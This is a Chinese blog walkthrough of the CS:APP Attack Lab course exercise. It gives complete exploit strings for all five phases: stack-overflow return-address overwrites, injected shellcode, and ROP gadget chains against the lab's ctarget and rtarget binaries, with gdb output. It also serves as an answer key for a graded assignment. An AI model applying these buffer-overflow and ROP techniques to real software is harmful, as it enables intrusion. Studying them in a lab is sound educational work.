《深入理解计算机系统》CSAPP_AttackLab

AttackLab

操作系统:linux

调试工具:gdb

Link:CS:APP3e

Memory Dot 我的个人博客,欢迎来玩。

Phase 1

我们是攻击者,也就是hack,其实我更喜欢骇客这个翻译,而不是黑客。phase1 ~ phase3的攻击方式都是运行CTARGET使用注入代码技术

作为一名骇客小白,我们可以通过unix > objdump -d ctarget > ctarget.d这段指令查看汇编代码,但我更喜欢用用gdb里的disas指令展示函数。这样更方便阅读。(这里就不需要打断点了)

/*function prototype*/
void test(){
	int val;
	val = getbuf();
	printf("No exploit.Getbuf returned 0x%x\n", val);
}
unsigned getbuf(){
	char buf[BUFFER_SIZE];
	Gets(buf);
	return 1;
}
void touch1(){
	vlevel = 1;
	/* Part of validation protocol */
	printf("Touch1!: You called touch1()\n");	
	validate(1);
	exit(0);
}


Dump of assembler code for function test:
   0x0000000000401968 <+0>:	sub    $0x8,%rsp
   0x000000000040196c <+4>:	mov    $0x0,%eax
   0x0000000000401971 <+9>:	callq  0x4017a8 <getbuf>
   0x0000000000401976 <+14>:	mov    %eax,%edx #<getbuf>的返回地址
   0x0000000000401978 <+16>:	mov    $0x403188,%esi
   0x000000000040197d <+21>:	mov    $0x1,%edi
   0x0000000000401982 <+26>:	mov    $0x0,%eax
   0x0000000000401987 <+31>:	callq  0x400df0 <__printf_chk@plt>
   0x000000000040198c <+36>:	add    $0x8,%rsp
   0x0000000000401990 <+40>:	retq
     
Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>:	sub    $0x28,%rsp
   0x00000000004017ac <+4>:	mov    %rsp,%rdi
   0x00000000004017af <+7>:	callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:	mov    $0x1,%eax
   0x00000000004017b9 <+17>:	add    $0x28,%rsp
   0x00000000004017bd <+21>:	retq
     
Dump of assembler code for function touch1:
   0x00000000004017c0 <+0>:	sub    $0x8,%rsp #<touch1>的函数地址
   0x00000000004017c4 <+4>:	movl   $0x1,0x202d0e(%rip)        # 0x6044dc <vlevel>
   0x00000000004017ce <+14>:	mov    $0x4030c5,%edi
   0x00000000004017d3 <+19>:	callq  0x400cc0 <puts@plt>
   0x00000000004017d8 <+24>:	mov    $0x1,%edi
   0x00000000004017dd <+29>:	callq  0x401c8d <validate>
   0x00000000004017e2 <+34>:	mov    $0x0,%edi
   0x00000000004017e7 <+39>:	callq  0x400e40 <exit@plt>

第一个攻击任务是:

Your task is to get CTARGET to execute the code for touch1 when getbuf executes its return statement, rather than returning to test.
你的任务是运行CTARGET使得当getbuf运行结束后,运行touch1,这些行为要在test返回之前完成。

原本主函数test调用了getbuf函数,test返回时就结束了。但我们要在调用getbuf函数之后再多一个调用touch1函数。如何完成这个任务呢?
我们知道,当调用getbuf函数时,栈会给存留一个返回地址栈帧0x401976,执行getbuf函数结束后,通过这个地址返回主函数test。我们只要把这个地址改为touch1的函数地址0x4017c0即可。

如何改呢?我们利用栈溢出的特性,因为getbuf函数开辟了40(0x28)beytes的栈空间,我们多输入8bytes的touch1的函数地址用来覆盖,之前的40bytes随意输入。(栈的一行里有8byte,返回地址也是8bytes)

同时注意到intel使用的是小端法排序,我们无需用0x注明十六进制,CTARGET会自动转为十六进制。

key:

//level1.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40

c0 17 40后续的零可填可不填,会自动补上的)

我们通过unix> ./hex2raw < level1.txt | ./ctarget -q进行攻击。(./ctarget -q,在./ctarget之后加 -q的原因是我们没法连接上CMU的服务器,在本地运行验证结果就行了;文件level1.txt中存放着我们的答案)

hack@ubuntu:~/Desktop/csapp_lab/attack-handout$ ./hex2raw < level1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for Phase1 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 

Phase 2

先查看代码及对应汇编代码:

/*function prototype*/
void test(){
	int val;
	val = getbuf();
	printf("No exploit.Getbuf returned 0x%x\n", val);
}

unsigned getbuf(){
	char buf[BUFFER_SIZE];
	Gets(buf);
	return 1;
}

void touch2(unsigned val){
    vlevel = 2; /* Part of validation protocol */
    if (val == cookie){ 
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}


Dump of assembler code for function test:
   0x0000000000401968 <+0>:	sub    $0x8,%rsp
   0x000000000040196c <+4>:	mov    $0x0,%eax
   0x0000000000401971 <+9>:	callq  0x4017a8 <getbuf>
   0x0000000000401976 <+14>:	mov    %eax,%edx #<getbuf>的返回地址
   0x0000000000401978 <+16>:	mov    $0x403188,%esi
   0x000000000040197d <+21>:	mov    $0x1,%edi
   0x0000000000401982 <+26>:	mov    $0x0,%eax
   0x0000000000401987 <+31>:	callq  0x400df0 <__printf_chk@plt>
   0x000000000040198c <+36>:	add    $0x8,%rsp
   0x0000000000401990 <+40>:	retq
     
Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>:	sub    $0x28,%rsp #此时的%rsp还不是开辟空间的栈顶
   0x00000000004017ac <+4>:	mov    %rsp,%rdi #此时的%rsp是已经开辟空间的栈顶
   0x00000000004017af <+7>:	callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:	mov    $0x1,%eax
   0x00000000004017b9 <+17>:	add    $0x28,%rsp
   0x00000000004017bd <+21>:	retq
     
(gdb) disas touch2
Dump of assembler code for function touch2:
   0x00000000004017ec <+0>:	sub    $0x8,%rsp #<touch2>的函数地址
----not need watch----

Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case, however, you must make it appear to touch2 as if you have passed your cookie as its argument.

Phase2和Phase1类似,也是在test返回前调用一次touch2函数。但是在touch2函数val的值必须和cookie相同才算touch2函数调用成功。

那么得想办法调用touch2函数,即注入touch2的函数地址。

advice:

Recall that the first argument to a function is passed in register %rdi.
%rdi中存储touch2函数着第一个参数。

Your injected code should set the register to your cookie, and then use a ret instruction to transfer control to the first instruction in touch2.
你注入的代码应该把寄存器%rdi设置为cookie,然后中使用ret指令转移控制权到touch2中的第一条指令(即touch2的函数地址0x4017ec)。

根据advice及touch2源代码可以知道:(要写汇编代码)

  • movq指令,$0x59b997fa移入%rdi。从而val == cookie函数touch2执行成功。(在cookie.txt中存着cookie的值0x59b997fa)。
  • push指令压入touch2的函数地址,从而ret时会返回为touch2的函数地址。

那么有:

//level2.s
movq    $0x59b997fa, %rdi
pushq   0x4017ec6
ret

再将其转化为机器代码:使用linux> gcc -c level2.slinux> objdump -d level2.o

duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ gcc -c level2.s
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ objdump -d level2.o

level2.o:     文件格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	ff 34 25 ec 17 40 00 	pushq  0x4017ec
   e:	c3                   	retq   

从而得到部分注入代码:(机器代码已经使用小端法了)

此处要将ff 34 25改为68才可通过,和标准答案编译的不一样,但不知道为啥,也许是我用`ubuntu`问题

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 

那么现在问题来了,从哪里注入代码?答案应该是从栈顶,在getbuf函数已经开辟栈空间的%rsp处注入。

原因呢?如下图所示,注入的register必须在stack top之前。

接下来我们查找getbuf开辟栈空间的%rsp对应地址。

(gdb) b *0x4017ac
Breakpoint 1 at 0x4017ac: file buf.c, line 14.
(gdb) run -q
Starting program: /home/duile/Desktop/csapp_lab/attack-handout/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:14
14	buf.c: 没有那个文件或目录.
(gdb) print $rsp
$1 = (void *) 0x5561dc78

好,最终我们有,key: (注意填充已经开辟的栈空间40bytes以及小端法)

//level2.txt
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ ./hex2raw < level2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for Phase2 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ 

最后手绘一下,注入代码后的部分栈空间:(鼠标画的,字有点抽象)省略了getbufreturn address(注入顺序和图示顺序相反

Phase 3

查看(汇编)代码:

/*function prototype*/
void test(){
	int val;
	val = getbuf();
	printf("No exploit.Getbuf returned 0x%x\n", val);
}

void touch3(char *sval){
    vlevel = 3;
    if (hexmatch(cookie, sval)){
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

int hexmatch(unsigned val, char *sval){
    char cbuf[110];
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

Dump of assembler code for function test:
   0x0000000000401968 <+0>:	sub    $0x8,%rsp 
   0x000000000040196c <+4>:	mov    $0x0,%eax #此时%rsp是第一次开辟8bytes的栈顶
   0x0000000000401971 <+9>:	callq  0x4017a8 <getbuf>
   0x0000000000401976 <+14>:	mov    %eax,%edx #<getbuf>的返回地址
   0x0000000000401978 <+16>:	mov    $0x403188,%esi
   0x000000000040197d <+21>:	mov    $0x1,%edi
   0x0000000000401982 <+26>:	mov    $0x0,%eax
   0x0000000000401987 <+31>:	callq  0x400df0 <__printf_chk@plt>
   0x000000000040198c <+36>:	add    $0x8,%rsp
   0x0000000000401990 <+40>:	retq

Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>:	sub    $0x28,%rsp 
   0x00000000004017ac <+4>:	mov    %rsp,%rdi 
   #41_line: 此时%rsp是在原先旧帧(test)之后再开辟的40bytes空间的栈顶
   0x00000000004017af <+7>:	callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:	mov    $0x1,%eax
   0x00000000004017b9 <+17>:	add    $0x28,%rsp
   0x00000000004017bd <+21>:	retq

Dump of assembler code for function touch3:
   0x00000000004018fa <+0>:	push   %rbx #<touch3>的函数地址
   0x00000000004018fb <+1>:	mov    %rdi,%rbx
   0x00000000004018fe <+4>:	movl   $0x3,0x202bd4(%rip)        # 0x6044dc <vlevel>
   0x0000000000401908 <+14>:	mov    %rdi,%rsi
   0x000000000040190b <+17>:	mov    0x202bd3(%rip),%edi        # 0x6044e4 <cookie>
   0x0000000000401911 <+23>:	callq  0x40184c <hexmatch>
----not need watch----

Dump of assembler code for function hexmatch:
   0x000000000040184c <+0>:	push   %r12
   0x000000000040184e <+2>:	push   %rbp
   0x000000000040184f <+3>:	push   %rbx
   0x0000000000401850 <+4>:	add    $0xffffffffffffff80,%rsp 
   #79_line: 此时%rsp是在原先旧帧(test、getbuf)上再开辟的110bytes空间的栈顶
......
   0x00000000004018cf <+131>:	callq  0x400ca0 <strncmp@plt>
----not need watch----

先看看任务:

Your task is to get CTARGET to execute the code for touch3 rather than returning to test. You must make it appear to touch3 as if you have passed a string representation of your cookie as its argument.
你的任务是让CTARGET执行touch3的代码,而不是返回test。你必须让touch3test之上(执行)看起来就像你(通过test)传递了一个cookie的字符串表示作为touch3的参数。

再康康建议:

advice:

  • You will need to include a string representation of your cookie in your exploit string. The string should consist of the eight hexadecimal digits (ordered from most to least significant) without a leading “0x.”
    你将会用到cookie的字符表示。这个字符表示是连续的十六进制数字且没有前缀0x

  • Recall that a string is represented in C as a sequence of bytes followed by a byte with value 0. Type “man ascii” on any Linux machine to see the byte representations of the characters you need.
    在c语言中,字符串表示的结尾是1byte的0(也就是'\0')。你可以在任何Linux机器中,使用man ascii指令查看字符对应的ascii码。

  • Your injected code should set register %rdi to the address of this string.
    你注入的代码应该把%rdi设置为字符串地址。

  • When functions hexmatch and strncmp are called, they push data onto the stack, overwriting portions of memory that held the buffer used by getbuf. As a result, you will need to be careful where you place the string representation of your cookie.
    当函数hexmatchstrncmp被调用时,它们会push数据到栈上,覆盖部分调用getbuf时存储的内容。因此,你应该仔细确定在哪里放入你的cookie。

由此我们可以知道,和touch2类似,也是在使用test过程中先执行getbuf,在getbuf过程调用touch3,同时touch3会调用hexmatch,hexmatch会调用strncmp。我们通过汇编代码可以知道它们分别开辟的栈空间是多少。

test(8b)
	-->getbuf(40b)
				-->touch3(0b)
							-->hexmatch(110b)
											-->strncmp(not need watch)

考虑到hexmatch开辟的110bytes栈空间,会覆盖部分原有的getbuf开辟的40bytes空间。所以我们不能直接输入cookie的字符表示(也就是cookie的ASCII表示)。
不能输入立即数,那我们可以用输入地址的方式,在此之前将cookie的ASCII表示先放入该地址当中
那么,该放入哪个地址呢?我们这里选择的是放入test的栈顶地址当中,原因有两个。一是因为test的栈顶地址可以临时使用,当test开辟栈空间后,它立刻调用了getbuf函数,其栈空间实际上没有存放任何数据。当调用结束后,才开始在栈空间处存放数据。二是因为方便输入,test开辟的8bytes空间,恰好用来直接输入cookie的ASCII表示。
由此得出,先输入cookie的ASCII表示,然后引用test的栈顶地址,再调用touch3,最后返回即可。接下来,我们按部就班的来。

  1. 先用man ascii指令查询字符的ASCII表示:
   Tables
       For convenience, below are more compact tables in hex(Left) and decimal(Right).

          2 3 4 5 6 7       30 40 50 60 70 80 90 100 110 120
        -------------      ---------------------------------
       0:   0 @ P ` p     0:    (  2  <  F  P  Z  d   n   x
       1: ! 1 A Q a q     1:    )  3  =  G  Q  [  e   o   y
       2: " 2 B R b r     2:    *  4  >  H  R  \  f   p   z
       3: # 3 C S c s     3: !  +  5  ?  I  S  ]  g   q   {
       4: $ 4 D T d t     4: "  ,  6  @  J  T  ^  h   r   |
       5: % 5 E U e u     5: #  -  7  A  K  U  _  i   s   }
       6: & 6 F V f v     6: $  .  8  B  L  V  `  j   t   ~
       7: ' 7 G W g w     7: %  /  9  C  M  W  a  k   u  DEL
       8: ( 8 H X h x     8: &  0  :  D  N  X  b  l   v
       9: ) 9 I Y i y     9: '  1  ;  E  O  Y  c  m   w
       A: * : J Z j z
       B: + ; K [ k {
       C: , < L \ l |
       D: - = M ] m }
       E: . > N ^ n ~
       F: / ? O _ o DEL

​ 从左边的16进制表示可以得到cookie的ASCII表示:

0x59b997fa
35 39 62 39 39 37 66 61
  1. 接下来查找test的栈顶地址:
(gdb) b *0x40196c
Breakpoint 1 at 0x40196c: file visible.c, line 92.
(gdb) run -q
Starting program: /home/duile/Desktop/csapp_lab/attack-handout/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, test () at visible.c:92
92	visible.c: 没有那个文件或目录.
(gdb) p $rsp
$1 = (void *) 0x5561dca8

​ 那么test的栈顶地址为:0x5561dca8.

  1. 引用test的栈顶地址(作为地址存放在%rdi中,作为输入),再调用touch3(0x4018fa,之前的汇编已经给出),最后返回。得出如下汇编代码:
//level3.s
movq    $0x5561dca8, %rdi
pushq   0x4018fa
ret

反汇编得出机器代码:

duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ gcc -c level3.s
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ objdump -d level3.o

level3.o:     文件格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 a8 dc 61 55 	mov    $0x5561dca8,%rdi
   7:	ff 34 25 fa 18 40 00 	pushq  0x4018fa
   e:	c3                   	retq   

最终结合cookie的ASCII表示以及要注入的位置(getbuf栈顶地址:0x5561dc78)可以得出key:
(要将ff 34 25改为68才可通过,和标准答案编译的不一样,但不知道为啥,也许是我用ubuntu问题)

//level3.txt
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00

注意,任何字符表示的结尾都要加上'\0',也就是16进制的00。也许会有人问,test只开辟了8bytes的栈空间,这不会溢出到返回地址,然后覆盖返回地址内容吗?当然会,但是经过查阅,发现ctarget的所有指令的地址400c48 ~ 402d7c都只占据6byetes。从而test返回时的地址最后2bytes是无效位,覆盖了也对返回地址没影响。

验证一下:

duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ ./hex2raw < level3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for Phase3 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 

最后手绘一下,注入代码后的部分栈空间:(鼠标画的,字有点抽象)省略了函数的返回地址R.A.
(省略了getbuf, hexmatchreturn address;hexmatch栈空间实际已经覆盖了getbuf栈空间部分内容,但为了能看清楚,没有展示出来)

Phase 4

日期:21.11.7 ~ 21.11.8

从Phase4起,用ROP(Return-Oriented Programming),以因为单单使用注入代码(inject code)技术无法解决的栈随机化、二进制文件被限制访问的问题。

Phase4的任务和Phase2一样:将%rdi设置为cookie,调用touch2。

ROP要用到gatgets这个工具。

gadget:每一段gadget包含一系列指令字节,而且以ret结尾,跳转到下一个gadget,就这样连续的执行一系列的指令代码,对程序造成攻击。

实验老师已经很贴切的将我们需要用到的gatget放进fram.c文件里了。我们将其反汇编才可运用,终端指令如下:(注意是-OgO要大写,不然就会采用 stack frame pointer,而rtarget里是没有用该指针的,不加的话指令编码会很复杂)

gcc -c -Og farm.c
objdump -d farm.o > farm.d

提示里有句很重要的话:

When a gadget uses a popq instruction, it will pop data from the stack.

说明使用gadget中的popq指令可以将栈的元素弹出,能够弹出的位置当然只能是栈顶了。
再结合我们之前在Phase2注入cookie使用的是movq指令,可以猜测,这里应该汇编代码应该是弹出cookie再将其移入%rdi,即:(gadget中的指令都是以ret结尾,所以弹出之后应该放在%rax里)

popq %rax
movq %rax, %rdi

再参照表格:(这个图片在Phase 5处)

得出上述汇编代码十六进制表示:

58
48 89 c7

再于farm.d文件中查找对应gadget指令(直接ctrl+f查找48 89 c7)。我们是要把cookie加进去,所以我们选择addvel这一组如下:

0000000000000014 <addval_273>:
  14:	f3 0f 1e fa          	endbr64 
  18:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax <到movq位置需要加2>
  1e:	c3                   	retq   

000000000000001f <addval_219>:
  1f:	f3 0f 1e fa          	endbr64 
  23:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax <到popq的位置需要加4>
  29:	c3                   	retq      

参考链接1 参考链接2(链接是关于endbr64的解释)

最后在终端使用如下指令查找它们十六进制代码:

duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ gdb rtarget
......
(gdb) disas addval_273
Dump of assembler code for function addval_273:
   0x00000000004019a0 <+0>:	lea    -0x3c3876b8(%rdi),%eax <movq>
   0x00000000004019a6 <+6>:	retq   
End of assembler dump.
(gdb) disas addval_219
Dump of assembler code for function addval_219:
   0x00000000004019a7 <+0>:	lea    -0x6fa78caf(%rdi),%eax <popq>
   0x00000000004019ad <+6>:	retq   
End of assembler dump.

可以得出对应movq、popq对应的起始地址:0x4019a0 + 2 = 0x4019a20x4019a7 + 4 = 0x4019ab

灵魂画手又来啦。直接把gatget的指令的注入,pop之后会有一个数据,这个数据就是cookie。

key:

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
ab 19 40 00 00 00 00 00 
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00 
ec 17 40 00 00 00 00 00
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ ./hex2raw < level4.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00 

Phase 5

21.11.20

phase 5和phase 3的相同任务,但同样考虑到栈随机化、二进制文件被限制访问的问题。我们使用ROP解决。

Before you take on the Phase 5, pause to consider what you have accomplished so far. In Phases 2 and 3,
you caused a program to execute machine code of your own design. If CTARGET had been a network server,
you could have injected your own code into a distant machine. In Phase 4, you circumvented two of the
main devices modern systems use to thwart buffer overflow attacks. Although you did not inject your own
code, you were able inject a type of program that operates by stitching together sequences of existing code.
You have also gotten 95/100 points for the lab. That’s a good score. If you have other pressing obligations
consider stopping right now.

很喜欢老师非常诚恳的一段话。

回顾phase 3任务,也是在tset返回前执行touch3,但还要记得插入个cookie的ascii代码

由于思路堵塞,这里直接参考这位博主的思路:

  • 因为开启了栈随机化,所以不能直接把代码插入到绝对地址,必须找一个基准,我们就只能找%rsp。
  • 因为touch3会开辟一个很大的buffsize,若把数据插到touch3下面的栈空间,有关内存之后基本就会被重写,所以要存在touch3的更高地址处。所以要在%rsp上加一个bias才可以,即字符串地址是%rsp + bias。
  • 没有直接的加法指令,那就找两个寄存器互相加,找到一个放在下面
  • 具体的操作可以是这样:
    • %rsp里的栈指针地址放到%rdi
    • 拿到bias的值放到%rsi
    • 利用lea x, y,把栈指针地址%rdi和bias(%rsi)加起来放到%rax,再传到%rdi
    • 调用touch3

关于寄存器的转化,需要自己查表配出来

我们先画(写出= =)出要执行的栈帧。

因为bias的取值要根据插入的ROP指令数量来决定,bias = 8byte * 9 = 72 = 0x48。(注意,直接用0x48覆盖弹出的%rax的值也算一条ROP指令)

具体的查找指令对应十六进制代码的过程就不详述了,可以参考Phase 4,直接放出答案。

key:

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00 
a2 19 40 00 00 00 00 00 
cc 19 40 00 00 00 00 00 
48 00 00 00 00 00 00 00 
dd 19 40 00 00 00 00 00 
70 1a 40 00 00 00 00 00 
13 1a 40 00 00 00 00 00 
d6 19 40 00 00 00 00 00 
a2 19 40 00 00 00 00 00 
fa 18 40 00 00 00 00 00 
35 39 62 39 39 37 66 61 
00
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ ./hex2raw < level5.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 CC 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 70 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 

Reference Linking

系统入门编程

leyN的CS学习之旅

myk的CS学习之旅

Conclusion

21.11.20

  • attack的要求蛮高,经常要找参考答案。
  • 英文真的很重要(所以最近要用心、用脑备考六级了)
  • 想到在补充
  • 如有谬误,敬请指正。
posted @ 2021-10-21 20:26  duile  阅读(557)  评论(0编辑  收藏  举报